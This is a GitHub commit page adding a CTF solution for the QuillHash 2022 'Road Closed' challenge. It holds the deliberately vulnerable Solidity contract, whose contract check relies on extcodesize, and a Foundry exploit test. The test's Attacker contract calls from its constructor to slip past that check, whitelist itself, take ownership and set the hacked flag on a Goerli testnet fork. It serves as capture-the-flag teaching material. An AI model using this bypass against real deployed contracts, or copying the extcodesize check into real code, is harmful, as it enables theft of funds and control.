Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 7bd318f

Browse files
authored
Add solution for QuillHash CTF 2022 - Challenge minaminao#1 (minaminao#5)
1 parent e6bb840 commit 7bd318f

File tree

6 files changed

+136
-3
lines changed

6 files changed

+136
-3
lines changed

foundry.toml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,5 +6,5 @@ ffi = true
66
match_path = "*/*.t.sol"
77
no_match_path = '*/_*'
88
fs_permissions = [{ access = "read", path = "./out" }]
9-
9+
1010
# See more config options https://github.com/foundry-rs/foundry/tree/master/config

lib/openzeppelin-contracts

src/QuillCTF2022/README.md

Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
# QuillHash CTF 2022 Solutions
2+
3+
Here's the link to the challenges page: https://quillctf.super.site/challenges. I highly recommend to solve the problems before checking the solutions!
4+
5+
---
6+
7+
**Table of Contents**
8+
- [Road Closed](#road-closed)
9+
- [Confidential Hash](#confidential-hash)
10+
- [VIP Bank](#vip-bank)
11+
- [SafeNFT](#safe-nft)
12+
- [d31eg4t3](#d31eg4t3)
13+
14+
---
15+
16+
## Road closed:
17+
https://quillctf.super.site/challenges/quillctf-challenges/road-closed
18+
19+
**Objective**:
20+
- Become the owner of the contract
21+
- Change the value of hacked to true
22+
23+
Goerli link: https://goerli.etherscan.io/address/0xd2372eb76c559586be0745914e9538c17878e812
24+
25+
```
26+
forge test --match-contract QuillCTF1Solved -vvvv
27+
```
Lines changed: 49 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,49 @@
1+
// SPDX-License-Identifier: MIT
2+
pragma solidity ^0.8.0;
3+
4+
import "forge-std/Test.sol";
5+
6+
/// ./challenge/RoadClosed.sol
7+
8+
/// Define the interface for the Target contract
9+
interface ITarget {
10+
function addToWhitelist(address addr) external;
11+
12+
function changeOwner(address addr) external;
13+
14+
function pwn(address addr) external payable;
15+
16+
function pwn() external payable;
17+
18+
function isHacked() external view returns (bool);
19+
20+
function isOwner() external view returns (bool);
21+
}
22+
23+
/// Define the attacker contract
24+
contract Attacker {
25+
/// Calling the functions from a contract's constructor will bypasses the `extcodesize > 0` check
26+
constructor(address target) {
27+
ITarget(target).addToWhitelist(address(this));
28+
ITarget(target).changeOwner(address(this));
29+
ITarget(target).pwn(address(this));
30+
}
31+
}
32+
33+
contract QuillCTF1Solved is Test {
34+
ITarget _target = ITarget(0xD2372EB76C559586bE0745914e9538C17878E812);
35+
Attacker _attacker;
36+
37+
/// Run the test against the goerli testnet fork
38+
function setUp() public {
39+
vm.createSelectFork("https://rpc.ankr.com/eth_goerli");
40+
_attacker = new Attacker(address(_target));
41+
}
42+
43+
/// Exploit! Validate if owner == attacker's address
44+
function test_exploit() external {
45+
assertEq(_target.isHacked(), true);
46+
vm.prank(address(_attacker));
47+
assertEq(_target.isOwner(), true);
48+
}
49+
}
Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
// SPDX-License-Identifier: GPL-3.0
2+
3+
pragma solidity 0.8.7;
4+
5+
contract RoadClosed {
6+
bool hacked;
7+
address owner;
8+
address pwner;
9+
mapping(address => bool) whitelistedMinters;
10+
11+
function isContract(address addr) public view returns (bool) {
12+
uint256 size;
13+
assembly {
14+
size := extcodesize(addr)
15+
}
16+
return size > 0;
17+
}
18+
19+
function isOwner() public view returns (bool) {
20+
if (msg.sender == owner) {
21+
return true;
22+
} else return false;
23+
}
24+
25+
constructor() {
26+
owner = msg.sender;
27+
}
28+
29+
function addToWhitelist(address addr) public {
30+
require(msg.sender == addr, "address must be msg.sender");
31+
require(!isContract(addr), "Contracts are not allowed");
32+
whitelistedMinters[addr] = true;
33+
}
34+
35+
function changeOwner(address addr) public {
36+
require(whitelistedMinters[addr], "You are not whitelisted");
37+
require(msg.sender == addr, "address must be msg.sender");
38+
require(addr != address(0), "Zero address");
39+
owner = addr;
40+
}
41+
42+
function pwn(address addr) external payable {
43+
require(!isContract(msg.sender), "Contracts are not allowed");
44+
require(msg.sender == addr, "address must be msg.sender");
45+
require(msg.sender == owner, "Must be owner");
46+
hacked = true;
47+
}
48+
49+
function pwn() external payable {
50+
require(msg.sender == pwner);
51+
hacked = true;
52+
}
53+
54+
function isHacked() public view returns (bool) {
55+
return hacked;
56+
}
57+
}

0 commit comments

Comments
 (0)